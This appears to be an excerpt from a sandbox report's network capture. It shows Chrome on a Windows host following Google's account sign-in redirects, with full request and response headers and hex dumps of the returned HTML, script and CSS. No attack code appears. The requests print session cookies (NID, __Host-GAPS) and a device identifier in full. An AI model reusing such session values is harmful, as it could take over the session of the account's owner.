2024-01-17 23:34:37 UTC	2085	IN	Data Raw: 20 61 6e 64 20 28 66 6f 72 63 65 64 2d 63 6f 6c 6f 72 73 3a 61 63 74 69 76 65 29 7b 2e 56 66 50 70 6b 64 2d 4c 67 62 73 53 65 20 2e 56 66 50 70 6b 64 2d 4a 31 55 6b 66 63 2d 4c 68 42 44 65 63 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 43 61 6e 76 61 73 54 65 78 74 7d 7d 2e 56 66 50 70 6b 64 2d 4c 67 62 73 53 65 20 2e 56 66 50 70 6b 64 2d 4a 31 55 6b 66 63 2d 4c 68 42 44 65 63 3a 3a 61 66 74 65 72 7b 63 6f 6e 74 65 6e 74 3a 22 22 3b 62 6f 72 64 65 72 3a 32 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 38 70 78 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e Data Ascii: and (forced-colors:active){.VfPpkd-LgbsSe .VfPpkd-J1Ukfc-LhBDec{border-color:CanvasText}}.VfPpkd-LgbsSe .VfPpkd-J1Ukfc-LhBDec::after{content:"";border:2px solid transparent;border-radius:8px;display:block;position:absolute;top:50%;left:50%;transform:tran

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49721	172.253.62.84	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:37 UTC	1536	OUT	GET / HTTP/1.1 Host: accounts.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Chrome-ID-Consistency-Request: version=1,client_id=77185425430.apps.googleusercontent.com,device_id=ce97e620-e5c8-47da-b1c2-66080ca9ba90,signin_mode=all_accounts,signout_mode=show_confirmation X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=UBeNCkZ3L8yXcx8qh4JFUXkwkNC9IrdiRdbjSTjqSiFh8WrRcbKr_rOJbgHY6TA4RT-6ps0bhemfwCPBsLMgPT7-gTcWqHvZvZbafOpkqRy0dLyYG9AjP2vbUBomarnc9pcZVlhHkUeUaWMurD0GGXyW05_B_1IyUNYEELmyqRg; __Host-GAPS=1:o7j89IvLqJhFMTxVanxTGSgj1nikYA:bs4bEmbWfrvt8VwG
2024-01-17 23:34:37 UTC	929	IN	HTTP/1.1 302 Moved Temporarily Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000; includeSubDomains Set-Cookie: __Host-GAPS=1:cNjgBcNIeYbuIuNF-DfI33S1Tzu_CQ:BVLFnczs7-pfD_Tx;Path=/;Expires=Fri, 16-Jan-2026 23:34:37 GMT;Secure;HttpOnly;Priority=HIGH X-Frame-Options: DENY Content-Security-Policy: script-src 'report-sample' 'nonce-LDD82T0lzyUi94x798Wj7Q' 'unsafe-inline' 'unsafe-eval';object-src 'none';base-uri 'self';report-uri /cspreport Location: https://accounts.google.com/ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F Content-Length: 338 Date: Wed, 17 Jan 2024 23:34:37 GMT Expires: Wed, 17 Jan 2024 23:34:37 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-17 23:34:37 UTC	338	IN	Data Raw: 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 61 63 63 6f 75 6e 74 73 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 53 65 72 76 69 63 65 4c 6f 67 69 6e 3f 70 61 73 73 69 76 65 3d 31 32 30 39 36 30 30 26 61 6d 70 3b 63 6f 6e 74 69 6e 75 65 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 61 63 63 6f 75 6e 74 73 2e 67 6f 6f 67 6c 65 2e 63 Data Ascii: <HTML><HEAD><TITLE>Moved Temporarily</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000"><H1>Moved Temporarily</H1>The document has moved <A HREF="https://accounts.google.com/ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49722	172.253.62.84	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:37 UTC	1656	OUT	GET /ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F HTTP/1.1 Host: accounts.google.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Chrome-ID-Consistency-Request: version=1,client_id=77185425430.apps.googleusercontent.com,device_id=ce97e620-e5c8-47da-b1c2-66080ca9ba90,signin_mode=all_accounts,signout_mode=show_confirmation X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=UBeNCkZ3L8yXcx8qh4JFUXkwkNC9IrdiRdbjSTjqSiFh8WrRcbKr_rOJbgHY6TA4RT-6ps0bhemfwCPBsLMgPT7-gTcWqHvZvZbafOpkqRy0dLyYG9AjP2vbUBomarnc9pcZVlhHkUeUaWMurD0GGXyW05_B_1IyUNYEELmyqRg; __Host-GAPS=1:cNjgBcNIeYbuIuNF-DfI33S1Tzu_CQ:BVLFnczs7-pfD_Tx
2024-01-17 23:34:37 UTC	1765	IN	HTTP/1.1 302 Found Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 17 Jan 2024 23:34:37 GMT Location: https://accounts.google.com/InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=ASKXGp1Rsc2_Gqlc318D50E3MbgaHXZ3BFuazsQT7f7MVz4TpNnUHnXSaaohd2F50nVDty7imYjSxg Strict-Transport-Security: max-age=31536000; includeSubDomains Content-Security-Policy: script-src 'report-sample' 'nonce-jminzVc7IowhJjP3g5_v-w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/AccountsSigninPassiveLoginHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/AccountsSigninPassiveLoginHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/AccountsSigninPassiveLoginHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: unsafe-none Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Resource-Policy: cross-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49726	172.253.62.84	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:38 UTC	1728	OUT	GET /InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=ASKXGp1Rsc2_Gqlc318D50E3MbgaHXZ3BFuazsQT7f7MVz4TpNnUHnXSaaohd2F50nVDty7imYjSxg HTTP/1.1 Host: accounts.google.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Chrome-ID-Consistency-Request: version=1,client_id=77185425430.apps.googleusercontent.com,device_id=ce97e620-e5c8-47da-b1c2-66080ca9ba90,signin_mode=all_accounts,signout_mode=show_confirmation X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=UBeNCkZ3L8yXcx8qh4JFUXkwkNC9IrdiRdbjSTjqSiFh8WrRcbKr_rOJbgHY6TA4RT-6ps0bhemfwCPBsLMgPT7-gTcWqHvZvZbafOpkqRy0dLyYG9AjP2vbUBomarnc9pcZVlhHkUeUaWMurD0GGXyW05_B_1IyUNYEELmyqRg; __Host-GAPS=1:cNjgBcNIeYbuIuNF-DfI33S1Tzu_CQ:BVLFnczs7-pfD_Tx
2024-01-17 23:34:38 UTC	1458	IN	HTTP/1.1 302 Moved Temporarily Content-Type: text/html; charset=UTF-8 Set-Cookie: __Host-GAPS=1:n6EJ8u4nikYrkk1Ps72GCxXzxbj0xQ:oWhLVRz67o2hC8PN;Path=/;Expires=Fri, 16-Jan-2026 23:34:38 GMT;Secure;HttpOnly;Priority=HIGH X-Frame-Options: DENY Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 17 Jan 2024 23:34:38 GMT Location: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=ASKXGp2tJPB3Ojygu8H0Nq-e-VWoesVuSqMqtwVz1w7gLDZs0sblPrXYTPEhXtH_AYuP9vdSp9W6Tg&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-586605101%3A1705534478563012&theme=glif Strict-Transport-Security: max-age=31536000; includeSubDomains Content-Security-Policy: script-src 'report-sample' 'nonce-CIZWOV7sHL2S3MqxyoTxzA' 'unsafe-inline' 'unsafe-eval';object-src 'none';base-uri 'self';report-uri /cspreport Content-Security-Policy: require-trusted-types-for 'script';report-uri /cspreport Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_qebhlk" Report-To: {"group":"coop_gse_qebhlk","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gse_qebhlk"}]} Content-Length: 542 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-17 23:34:38 UTC	542	IN	Data Raw: 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 61 63 63 6f 75 6e 74 73 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 76 33 2f 73 69 67 6e 69 6e 2f 69 64 65 6e 74 69 66 69 65 72 3f 63 6f 6e 74 69 6e 75 65 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 61 63 63 6f 75 6e 74 73 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 25 32 46 26 61 6d 70 3b 66 6f Data Ascii: <HTML><HEAD><TITLE>Moved Temporarily</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000"><H1>Moved Temporarily</H1>The document has moved <A HREF="https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&fo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49727	172.253.62.84	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:39 UTC	1840	OUT	GET /v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=ASKXGp2tJPB3Ojygu8H0Nq-e-VWoesVuSqMqtwVz1w7gLDZs0sblPrXYTPEhXtH_AYuP9vdSp9W6Tg&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-586605101%3A1705534478563012&theme=glif HTTP/1.1 Host: accounts.google.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Chrome-ID-Consistency-Request: version=1,client_id=77185425430.apps.googleusercontent.com,device_id=ce97e620-e5c8-47da-b1c2-66080ca9ba90,signin_mode=all_accounts,signout_mode=show_confirmation X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=UBeNCkZ3L8yXcx8qh4JFUXkwkNC9IrdiRdbjSTjqSiFh8WrRcbKr_rOJbgHY6TA4RT-6ps0bhemfwCPBsLMgPT7-gTcWqHvZvZbafOpkqRy0dLyYG9AjP2vbUBomarnc9pcZVlhHkUeUaWMurD0GGXyW05_B_1IyUNYEELmyqRg; __Host-GAPS=1:n6EJ8u4nikYrkk1Ps72GCxXzxbj0xQ:oWhLVRz67o2hC8PN
2024-01-17 23:34:39 UTC	2085	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 X-Frame-Options: DENY Set-Cookie: __Host-GAPS=1:6D-JNTZVLmEY4TJ9M5T4q09tNaSokQ:Hm2S_1tAXq0oBBMs; Expires=Fri, 16-Jan-2026 23:34:39 GMT; Path=/; Secure; HttpOnly; Priority=HIGH x-auto-login: realm=com.google&args=continue%3Dhttps://accounts.google.com/ x-ua-compatible: IE=edge Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 17 Jan 2024 23:34:39 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Cross-Origin-Resource-Policy: same-site Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="AccountsSignInUi" Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* Report-To: {"group":"AccountsSignInUi","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/AccountsSignInUi"}]} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /v3/signin/_/AccountsSignInUi/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-ZbFc5jH1KTV1jy_PZVkYGA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /v3/signin/_/AccountsSignInUi/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /v3/signin/_/AccountsSignInUi/cspreport/allowlist Server: ESF X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site,Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-01-17 23:34:39 UTC	2085	IN	Data Raw: 38 30 30 30 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 64 69 72 3d 22 6c 74 72 22 3e 3c 68 65 61 64 3e 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 63 63 6f 75 6e 74 73 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 76 33 2f 73 69 67 6e 69 6e 2f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 72 69 67 69 6e 22 3e 3c 73 63 72 69 70 74 20 64 61 74 61 2d 69 64 3d 22 5f 67 64 22 20 6e 6f 6e 63 65 3d 22 5a 62 46 63 35 6a 48 31 4b 54 56 31 6a 79 5f 50 5a 56 6b 59 47 41 22 3e 77 69 6e 64 6f 77 2e 57 49 5a 5f 67 6c 6f 62 61 6c 5f 64 61 74 61 20 3d 20 7b 22 44 6e 64 4c 59 62 22 3a 22 22 2c 22 44 70 69 6d 47 66 22 3a 66 61 6c 73 65 2c 22 45 Data Ascii: 8000<!doctype html><html lang="en-US" dir="ltr"><head><base href="https://accounts.google.com/v3/signin/"><meta name="referrer" content="origin"><script data-id="_gd" nonce="ZbFc5jH1KTV1jy_PZVkYGA">window.WIZ_global_data = {"DndLYb":"","DpimGf":false,"E
2024-01-17 23:34:39 UTC	2085	IN	Data Raw: 69 67 41 6c 67 5c 22 2c 5c 22 53 69 67 6e 61 74 75 72 65 5c 22 2c 5c 22 54 4c 5c 22 2c 5c 22 61 66 5c 22 2c 5c 22 61 6c 69 67 6e 6d 65 6e 74 5c 22 2c 5c 22 61 6c 77 66 5c 22 2c 5c 22 62 74 6d 70 6c 5c 22 2c 5c 22 63 5c 22 2c 5c 22 63 5f 61 66 77 74 5c 22 2c 5c 22 63 5f 62 72 73 7a 5c 22 2c 5c 22 63 5f 65 6e 61 62 6c 65 5c 22 2c 5c 22 63 5f 67 75 74 77 5c 22 2c 5c 22 63 5f 70 73 5f 65 5c 22 2c 5c 22 63 5f 70 73 5f 73 5c 22 2c 5c 22 63 5f 70 73 5f 74 5c 22 2c 5c 22 63 5f 73 74 66 73 5c 22 2c 5c 22 63 5f 73 74 66 77 74 5c 22 2c 5c 22 63 5f 73 74 73 5f 62 5c 22 2c 5c 22 63 5f 73 74 73 5f 74 5c 22 2c 5c 22 63 5f 74 66 73 5c 22 2c 5c 22 63 5f 74 66 77 74 5c 22 2c 5c 22 63 5f 74 73 5f 62 5c 22 2c 5c 22 63 5f 74 73 5f 74 5c 22 2c 5c 22 63 62 66 6c 6f 77 5c 22 2c Data Ascii: igAlg\",\"Signature\",\"TL\",\"af\",\"alignment\",\"alwf\",\"btmpl\",\"c\",\"c_afwt\",\"c_brsz\",\"c_enable\",\"c_gutw\",\"c_ps_e\",\"c_ps_s\",\"c_ps_t\",\"c_stfs\",\"c_stfwt\",\"c_sts_b\",\"c_sts_t\",\"c_tfs\",\"c_tfwt\",\"c_ts_b\",\"c_ts_t\",\"cbflow\",
2024-01-17 23:34:39 UTC	2085	IN	Data Raw: 72 74 51 43 78 63 22 3a 33 30 30 2c 22 74 52 73 7a 4c 22 3a 22 25 2e 40 2e 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 74 72 75 65 5d 5d 22 2c 22 74 68 79 6b 68 64 22 3a 22 41 46 57 4c 62 44 33 77 30 50 35 34 4d 7a 62 7a 32 75 79 5a 2d 76 65 47 78 6c 56 47 42 5f 63 58 4d 49 51 5f 45 6e 69 45 75 55 48 54 36 37 54 66 59 34 41 4c 7a 59 38 50 65 59 6e 31 63 55 72 68 5f 48 61 71 55 65 5f 50 52 37 4f 43 73 43 68 52 4e 54 55 67 39 4a 61 70 71 33 6f 38 33 52 6b 50 78 34 31 4c 6b 59 79 4b 56 57 50 55 7a 43 7a 6a 53 59 50 79 7a 36 36 51 59 4f 74 62 47 6f 2d 57 68 46 49 54 22 2c 22 75 51 39 4f 68 22 3a 30 2c 22 75 6e 4e 52 4d 62 22 3a 22 41 4b 4a 56 7a 63 70 6b 71 79 74 50 59 4a 79 54 34 66 70 53 53 79 63 78 58 36 34 31 33 55 77 5a Data Ascii: rtQCxc":300,"tRszL":"%.@.null,null,null,null,[null,true]]","thykhd":"AFWLbD3w0P54Mzbz2uyZ-veGxlVGB_cXMIQ_EniEuUHT67TfY4ALzY8PeYn1cUrh_HaqUe_PR7OCsChRNTUg9Japq3o83RkPx41LkYyKVWPUzCzjSYPyz66QYOtbGo-WhFIT","uQ9Oh":0,"unNRMb":"AKJVzcpkqytPYJyT4fpSSycxX6413UwZ
2024-01-17 23:34:39 UTC	2085	IN	Data Raw: 3d 31 3d 3d 3d 61 2e 61 66 74 5f 63 6f 75 6e 74 65 72 2e 73 70 6c 69 63 65 28 62 2c 0a 31 29 2e 6c 65 6e 67 74 68 2c 30 3d 3d 3d 61 2e 61 66 74 5f 63 6f 75 6e 74 65 72 2e 6c 65 6e 67 74 68 26 26 62 26 26 63 29 29 29 61 2e 6f 6e 61 66 74 28 63 29 7d 2c 21 30 29 3b 61 2e 70 72 74 3d 2d 31 3b 61 2e 77 69 7a 5f 74 69 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 62 3d 6e 28 22 70 72 74 22 29 3b 61 2e 70 72 74 3d 62 7d 7d 3b 7d 29 2e 63 61 6c 6c 28 74 68 69 73 29 3b 0a 6c 28 27 43 71 50 74 63 62 27 29 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 5a 62 46 63 35 6a 48 31 4b 54 56 31 6a 79 5f 50 5a 56 6b 59 47 41 22 3e 76 61 72 20 5f 46 5f 63 73 73 52 6f 77 4b 65 79 20 3d 20 27 62 6f 71 2d 69 64 65 6e 74 69 74 79 2e 41 63 63 6f Data Ascii: =1===a.aft_counter.splice(b,1).length,0===a.aft_counter.length&&b&&c)))a.onaft(c)},!0);a.prt=-1;a.wiz_tick=function(){var b=n("prt");a.prt=b}};}).call(this);l('CqPtcb')</script><script nonce="ZbFc5jH1KTV1jy_PZVkYGA">var _F_cssRowKey = 'boq-identity.Acco
2024-01-17 23:34:39 UTC	2085	IN	Data Raw: 6c 65 28 30 29 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 63 65 6e 74 65 72 20 63 65 6e 74 65 72 7d 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 58 78 49 41 71 65 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 6d 57 50 6b 33 64 2d 4f 57 58 45 58 65 2d 5a 4e 4d 54 71 64 3a 3a 61 66 74 65 72 7b 74 6f 70 3a 76 61 72 28 2d 2d 6d 64 63 2d 72 69 70 70 6c 65 2d 74 6f 70 2c 30 29 3b 6c 65 66 74 3a 76 61 72 28 2d 2d 6d 64 63 2d 72 69 70 70 6c 65 2d 6c 65 66 74 2c 30 29 7d 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 58 78 49 41 71 65 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 6d 57 50 6b 33 64 2d 4f 57 58 45 58 65 2d 54 76 38 6c 35 64 2d 6c 4a 66 5a 4d 63 3a 3a 61 66 74 65 72 7b 61 6e 69 6d 61 74 69 6f 6e 3a 6d 64 63 2d 72 69 70 70 6c 65 2d 66 67 2d 72 Data Ascii: le(0);transform-origin:center center}.VfPpkd-ksKsZd-XxIAqe.VfPpkd-ksKsZd-mWPk3d-OWXEXe-ZNMTqd::after{top:var(--mdc-ripple-top,0);left:var(--mdc-ripple-left,0)}.VfPpkd-ksKsZd-XxIAqe.VfPpkd-ksKsZd-mWPk3d-OWXEXe-Tv8l5d-lJfZMc::after{animation:mdc-ripple-fg-r
